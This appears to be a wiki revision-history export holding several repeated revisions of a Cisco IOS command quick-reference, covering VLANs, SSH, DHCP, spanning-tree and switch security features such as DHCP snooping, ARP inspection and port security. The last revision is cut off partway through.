Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1077
Cisco Commands
2026-02-05T18:48:48Z
<p>50.220.241.211: /* Trunk Native VLANs */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk Allowed VLANs ===<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
switchport trunk native vlan 99<br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts. <br />
<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1076
Cisco Commands
2026-02-05T18:48:42Z
<p>50.220.241.211: /* Trunk Allowed VLANs */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
<pre><br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
</pre><br />
<br />
=== Enable Interface ===<br />
<pre><br />
no shutdown<br />
</pre><br />
<br />
=== Assign IPv4 Address ===<br />
<pre><br />
ip address 192.168.0.1 255.255.255.0<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
<pre><br />
switchport mode access<br />
switchport access vlan 10<br />
</pre><br />
<br />
=== Trunk Port ===<br />
<pre><br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
</pre><br />
<br />
=== Trunk Allowed VLANs ===<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
switchport trunk native vlan 99<br />
<br />
----<br />
<br />
== IPv6 Interface Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts. <br />
<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled.<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches or routers.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding attacks.<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15<br />
<br />
=== Verify DAI status ===<br />
<br />
show ip arp inspection<br />
show ip arp inspection vlan<br />
show ip arp inspection interfaces<br />
<br />
=== Disable DAI ===<br />
<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table<br />
* Only trusted ports can send unlimited ARP replies<br />
* Access ports should remain untrusted<br />
* Commonly deployed with '''PortFast + BPDU Guard'''<br />
<br />
== Port Security ==<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1075
Cisco Commands
2026-02-05T18:48:34Z
<p>50.220.241.211: /* Trunk VLAN Settings */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== System & Routing Basics ==<br />
<br />
=== Enable IPv4 Routing (Layer 3 Switches) ===<br />
<pre><br />
ip routing<br />
</pre><br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<pre><br />
ipv6 unicast-routing<br />
</pre><br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
=== Routing Table ===<br />
<pre><br />
show ip route<br />
</pre><br />
<br />
----<br />
<br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
